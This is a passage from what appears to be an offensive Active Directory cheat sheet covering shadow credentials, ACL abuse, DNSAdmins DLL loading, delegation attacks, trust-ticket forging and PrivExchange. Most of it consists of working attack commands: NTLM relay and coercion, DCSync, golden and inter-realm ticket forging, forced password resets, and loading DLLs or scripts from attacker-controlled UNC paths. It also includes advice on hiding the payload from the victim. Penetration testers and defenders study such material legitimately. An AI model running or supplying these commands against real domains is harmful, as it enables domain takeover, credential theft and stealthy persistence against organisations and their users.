> Add **Key Credentials** to the attribute `msDS-KeyCredentialLink` of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user.  When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.

:warning: User objects can't edit their own `msDS-KeyCredentialLink` attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists

**Requirements**:
* Domain Controller on (at least) Windows Server 2016
* Domain must have Active Directory `Certificate Services` and `Certificate Authority` configured
* PKINIT Kerberos authentication
* An account with the delegated rights to write to the `msDS-KeyCredentialLink` attribute of the target object

**Exploitation**: 
- From Windows, use [Whisker](https://github.com/eladshamir/Whisker):
  ```powershell
  # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
  Whisker.exe list /target:computername$
  # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
  Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
  Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
  # Removes a key credential from the target object specified by a DeviceID GUID.
  Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
  ```

- From Linux, use [pyWhisker](https://github.com/ShutdownRepo/pyWhisker):
  ```bash
  # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
  # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
  pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
  # Removes a key credential from the target object specified by a DeviceID GUID.
  python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"
  ```

**Scenario**:

- **Scenario 1**: Shadow Credential relaying
  - Trigger an NTLM authentication from `DC01` (PetitPotam)
  - Relay it to `DC02` (ntlmrelayx)
  - Edit `DC01`'s attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
  - Alternatively : `ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'`

- **Scenario 2**: Workstation Takeover with RBCD
  ```ps1
  # Only for C2: Add Reverse Port Forward from 8081 to Team Server 81

  # Set up ntlmrelayx to relay authentication from target workstation to DC 
  proxychains python3 ntlmrelayx.py -t ldaps://dc1.ez.lab --shadow-credentials --shadow-target ws2\$ --http-port 81

  # Execute printer bug to trigger authentication from target workstation 
  proxychains python3 printerbug.py ez.lab/matt:Password1\!@ws2.ez.lab ws1@8081/file

  # Get a TGT using the newly acquired certificate via PKINIT 
  proxychains python3 gettgtpkinit.py ez.lab/ws2\$ ws2.ccache -cert-pfx /opt/impacket/examples/T12uyM5x.pfx -pfx-pass 5j6fNfnsU7BkTWQOJhpR

  # Get a ST (service ticket) for the target account 
  proxychains python3 gets4uticket.py kerberos+ccache://ez.lab\\ws2\$:ws2.ccache@dc1.ez.lab cifs/ws2.ez.lab@ez.lab administrator@ez.lab administrator_tgs.ccache -v

  # Utilize the ST for future activity 
  export KRB5CCNAME=/opt/pkinittools/administrator_ws2.ccache
  proxychains python3 wmiexec.py -k -no-pass ez.lab/administrator@ws2.ez.lab
  ```


### Dangerous Built-in Groups Usage

If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object `CN=AdminSDHolder,CN=System` or set `"dminCount` attribute to `0` for the required object.

>  The AdminCount attribute is set to `1` automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).

Find users with `AdminCount=1`.

```powershell
crackmapexec ldap 10.10.10.10 -u username -p password --admin-count
# or
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10

#### AdminSDHolder Abuse

> The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.

If you modify the permissions of **AdminSDHolder**, that permission template will be pushed out to all protected accounts automatically by `SDProp` (in an hour).
E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.

```powershell
# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose

# Right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword

# Give all rights
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All
```


### Abusing DNS Admins Group

> It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).

:warning: Require privileges to restart the DNS service.

* Enumerate members of DNSAdmins group
    ```ps1
    Get-NetGroupMember -GroupName "DNSAdmins"
    Get-ADGroupMember -Identity DNSAdmins
    ```
* Change dll loaded by the DNS service
    ```ps1
    # with RSAT
    dnscmd <servername> /config /serverlevelplugindll \\attacker_IP\dll\mimilib.dll
    dnscmd 10.10.10.11 /config /serverlevelplugindll \\10.10.10.10\exploit\privesc.dll

    # with DNSServer module
    $dnsettings = Get-DnsServerSetting -ComputerName <servername> -Verbose -All
    $dnsettings.ServerLevelPluginDll = "\attacker_IP\dll\mimilib.dll"
    Set-DnsServerSetting -InputObject $dnsettings -ComputerName <servername> -Verbose
    ```
* Check the previous command success
    ```ps1
    Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
    ```
* Restart DNS
    ```ps1
    sc \\dc01 stop dns
    sc \\dc01 start dns
    ```


### Abusing Active Directory ACLs/ACEs

Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner).

```powershell
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
```

#### GenericAll

* **GenericAll on User** : We can reset user's password without knowing the current password
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group : 
	* On Windows : `net group "domain admins" hacker /add /domain`
	* On Linux:
		* using the Samba software suite : 
		`net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]`
		* using bloodyAD: 
		`bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'`

* **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.
  ```powershell
  # Check for interesting permissions on accounts:
  Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

  # Check if current user has already an SPN setted:
  PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname

  # Force set the SPN on the account: Targeted Kerberoasting
  PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
  PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'}

  # Grab the ticket
  PowerView2 > $User = Get-DomainUser username 
  PowerView2 > $User | Get-DomainSPNTicket | fl
  PowerView2 > $User | Select serviceprincipalname

  # Remove the SPN
  PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
  ```

* **GenericAll/GenericWrite** : We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
	* On Windows:
	```powershell
	# Modify the userAccountControl
	PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
	PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose

	# Grab the ticket
	PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
	ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username

	# Set back the userAccountControl
	PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
	PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
	```
	* On Linux:
	```bash
	# Modify the userAccountControl
	$ bloodyAD.py --host [DC IP] -d DOMAIN -u AttackerUser -p MyPassword setDontReqPreauthFlag target_user

	# Grab the ticket
	$ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

	# Set back the userAccountControl
	$ bloodyAD.py --host [DC IP] -d DOMAIN -u AttackerUser -p MyPassword setDontReqPreauthFlag target_user false
	```


#### GenericWrite

* Reset another user's password
	* On Windows:
		```powershell
		# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
		$user = 'DOMAIN\user1'; 
		$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; 
		$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
		$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; 
		Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
		```
	* On Linux:
		```bash
		# Using rpcclient from the  Samba software suite
		rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 
		
		# Using bloodyAD with pass-the-hash
		bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
		```

* WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1`

##### GenericWrite and Remote Connection Manager

> Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.
>  
> This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/

:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.

```powershell
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()
```

NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.

#### WriteDACL

To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'`

* WriteDACL on Domain:
	* On Windows: 
	  ```powershell
	  # Give DCSync right to the principal identity
	  Import-Module .\PowerView.ps1
	  $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
	  $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
	  Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local 
	  ```
  	* On Linux:
  	```bash
	# Give DCSync right to the principal identity
	bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2
	
	# Remove right after DCSync
	bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2 False
	```
  
* WriteDACL on Group
  ```powershell
  Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
  net group "INTERESTING_GROUP" User1 /add /domain
  ```
  Or  
  ```powershell
  bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp
  
  # Remove right
  bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp False
	```

#### WriteOwner

An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).

```powershell
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
```
Or  
```powershell
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setOwner devil_user1 target_object
```

This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.


#### ReadLAPSPassword

An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the [Reading LAPS Password](#reading-laps-password) section.

```powershell
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
```
Or for a given computer  
```powershell
bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes LAPS_PC$ ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
```


#### ReadGMSAPassword

An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.

```powershell
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
```
Or  
```powershell
python bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes gmsaAccount$ msDS-ManagedPassword
```

#### ForceChangePassword

An attacker can change the password of the user this ACE applies to:
* On Windows, this can be achieved with `Set-DomainUserPassword` (PowerView module):
```powershell
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
```

* On Linux:
```bash
# Using rpcclient from the  Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 

# Using bloodyAD with pass-the-hash
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
```


### DCOM Exploitation

> DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.


* Impacket DCOMExec.py
  ```ps1
  dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...]

### Trust relationship between domains

* One-way
  * Domain B trusts A
  * Users in Domain A can access resources in Domain B
  * Users in Domain B cannot access resources in Domain A
* Two-way
  * Domain A trusts Domain B
  * Domain B trusts Domain A
  * Authentication requests can be passed between the two domains in both directions

#### Enumerate trusts between domains

```powershell
nltest /trusted_domains
```

or

```powershell
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

SourceName          TargetName                    TrustType      TrustDirection
----------          ----------                    ---------      --------------
domainA.local      domainB.local                  TreeRoot       Bidirectional
```

#### Exploit trusts between domains

:warning: Require a Domain-Admin level access to the current domain.

| Source     | Target  | Technique to use  | Trust relationship  |
|---|---|---|---|
| Root      | Child  | Golden Ticket + Enterprise Admin group (Mimikatz /groups) | Inter Realm (2-way)  |
| Child     | Child  | SID History exploitation (Mimikatz /sids)                 | Inter Realm Parent-Child (2-way)  |
| Child     | Root   | SID History exploitation (Mimikatz /sids)                 | Inter Realm Tree-Root (2-way)  |
| Forest A  | Forest B  | PrinterBug + Unconstrained delegation ?  | Inter Realm Forest or External (2-way)  |



### Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources.
By default the first domain created if the Forest Root.

**Requirements**: 
- KRBTGT Hash
- Find the SID of the domain
    ```powershell
    $ Convert-NameToSid target.domain.com\krbtgt
    S-1-5-21-2941561648-383941485-1389968811-502

    # with Impacket
    lookupsid.py domain/user:password@10.10.10.10
    ```
- Replace 502 with 519 to represent Enterprise Admins
- Create golden ticket and attack parent domain. 
    ```powershell
    kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
    ```

### Forest to Forest Compromise - Trust Ticket

* Require: SID filtering disabled

From the DC, dump the hash of the `currentdomain\targetdomain$` trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using 
Mimikatz, adding the SID for the target domain's enterprise admins group to our **SID history**.

#### Dumping trust passwords (trust keys)

> Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing **$** are computer accounts, but some are trust accounts.

```powershell
lsadump::trust /patch

or find the TRUST_NAME$ machine account hash
```

#### Create a forged trust ticket (inter-realm TGT) using Mimikatz

```powershell
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi
mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi
```

#### Use the Trust Ticket file to get a ST for the targeted service

```powershell
.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
```

Inject the ST file and access the targeted service with the spoofed rights.

```powershell
kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$
```

### Privileged Access Management (PAM) Trust

Require: Windows Server 2016 or earlier   
If we compromise the bastion we get `Domain Admins` privileges on the other domain

* Default configuration for PAM Trust
    ```ps1
    # execute on our forest
    netdom trust lab.local /domain:bastion.local /ForestTransitive:Yes 
    netdom trust lab.local /domain:bastion.local /EnableSIDHistory:Yes 
    netdom trust lab.local /domain:bastion.local /EnablePIMTrust:Yes 
    netdom trust lab.local /domain:bastion.local /Quarantine:No
    # execute on our bastion
    netdom trust bastion.local /domain:lab.local /ForestTransitive:Yes
    ```
* Enumerate
    ```ps1
    # Using ADModule
    Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}

    # Enumerate shadow security principals 
    Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl
    ```
* Compromise
    * Using SID History
    * Using the previously found Shadow Security Principal


### Kerberos Unconstrained Delegation

> The user sends a ST to access the service, along with their TGT, and then the service can use the user's TGT to request a ST for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html 

> When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory. 

:warning: Unconstrained delegation used to be the only option available in Windows 2000

#### SpoolService Abuse with Unconstrained Delegation

The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.

**Requirements**:
- Object with Property **Trust this computer for delegation to any service (Kerberos only)**
- Must have **ADS_UF_TRUSTED_FOR_DELEGATION** 
- Must not have **ADS_UF_NOT_DELEGATED** flag
- User must not be in the **Protected Users** group 
- User must not have the flag **Account is sensitive and cannot be delegated**

##### Find delegation

:warning: : Domain controllers usually have unconstrained delegation enabled.    
Check the `TrustedForDelegation` property.

* [ADModule](https://github.com/samratashok/ADModule)
  ```powershell
  # From https://github.com/samratashok/ADModule

  $> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10   
  grep TRUSTED_FOR_DELEGATION domain_computers.grep
  ```

* [CrackMapExec module](https://github.com/byt3bl33d3r/CrackMapExec/wiki) 
  ```powershell

  ```

##### SpoolService status

Check if the spool service is running on the remote host

```powershell
ls \\dc01\pipe\spoolss
python rpcdump.py DOMAIN/user:password@10.10.10.10
```

##### Monitor with Rubeus

Monitor incoming connections from Rubeus.

```powershell
Rubeus.exe monitor /interval:1 
```

##### Force a connect back from the DC

Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.

>  SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.

```powershell
# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

# From https://github.com/dirkjanm/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>

# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689
python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>
```

If the attack worked you should get a TGT of the domain controller.

##### Load the ticket

Extract the base64 TGT from Rubeus output and load it to our current session.

```powershell
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
```

Alternatively you could also grab the ticket using Mimikatz :  `mimikatz # sekurlsa::tickets`

Then you can use DCsync or another attack : `mimikatz # lsadump::dcsync /user:HACKER\krbtgt`


##### Mitigation

* Ensure sensitive accounts cannot be delegated
* Disable the Print Spooler Service


#### MS-EFSRPC Abuse with Unconstrained Delegation

Using `PetitPotam`, another tool to coerce a callback from the targeted machine, instead of `SpoolSample`.

```bash
# Coerce the callback
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP

# Extract the ticket
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
```


### Kerberos Constrained Delegation

> Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets getST.py script, however,

Passing the -impersonate flag and specifying the user we wish to impersonate (any valid username).

```powershell
# Discover
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname

# Find the service 
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
```

#### Exploit the Constrained Delegation

* Impacket
  ```bash
  $ getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
  ```
* Rubeus
  ```bash
  $ ./Rubeus.exe tgtdeleg /nowrap # this ticket can be used with /ticket:...
  $ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:cifs/srv01.domain.com /ptt
  $ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
  $ dir \\dc.domain.com\c$
  ```

#### Impersonate a domain user on a resource

Require:
* SYSTEM level privileges on a machine configured with constrained delegation

```ps1
PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
PS> $idToImpersonate.Impersonate()
PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
PS> ls \\dc01.offense.local\c$
```

### Kerberos Resource Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012. 

> The user sends a Service Ticket (ST) to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B.  https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

1. Import **Powermad** and **Powerview**

    ```powershell
    PowerShell.exe -ExecutionPolicy Bypass
    Import-Module .\powermad.ps1
    Import-Module .\powerview.ps1
    ```

2. Get user SID

    ```powershell
    $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
    $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
    $ACE
    ConvertFrom-SID $ACE.SecurityIdentifier
    ```

3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it

    ```powershell
    New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
    ```

4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties

    ```powershell
    $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
    $SDBytes = New-Object byte[] ($SD.BinaryLength)
    $SD.GetBinaryForm($SDBytes, 0)
    Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
    $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
    $Descriptor.DiscretionaryAcl
    ```

    ```ps1
    # alternative
    $SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

    # alternative
    StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
    ```

5. Use Rubeus to get hash from password

    ```powershell
    Rubeus.exe hash /password:'Weakest123*' /user:swktest$  /domain:factory.lan
    [*] Input password             : Weakest123*
    [*] Input username             : swktest$
    [*] Input domain               : factory.lan

    [*]       des_cbc_md5          : BA297CFD07E62A5E
    ```

6. Impersonate domain admin using our newly created machine account

    ```powershell
    .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap

### Kerberos Bronze Bit Attack - CVE-2020-17049

> An attacker can impersonate users which are not allowed to be delegated. This includes members of the **Protected Users** group and any other users explicitly configured as **sensitive and cannot be delegated**.

> Patch is out on November 10, 2020, DC are most likely vulnerable until [February 2021](https://support.microsoft.com/en-us/help/4598347/managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049).

:warning: Patched Error Message : `[-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)`

Requirements:
* Service account's password hash 
* Service account's with `Constrained Delegation` or `Resource Based Constrained Delegation`
* [Impacket PR #1013](https://github.com/SecureAuthCorp/impacket/pull/1013) 

**Attack #1** - Bypass the `Trust this user for delegation to specified services only – Use Kerberos only` protection and impersonate a user who is protected from delegation.

### PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange.    
:warning: You need a shell on a user account with a mailbox.


1. Exchange server hostname or IP address

    ```bash 
    pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
    ```


2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).

    ```powershell
    ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
    ```


3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.

    ```bash
    # https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
    python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
    python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
    
    # https://github.com/G0ldenGunSec/PowerPriv 
    powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
    ```

4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

    ```bash
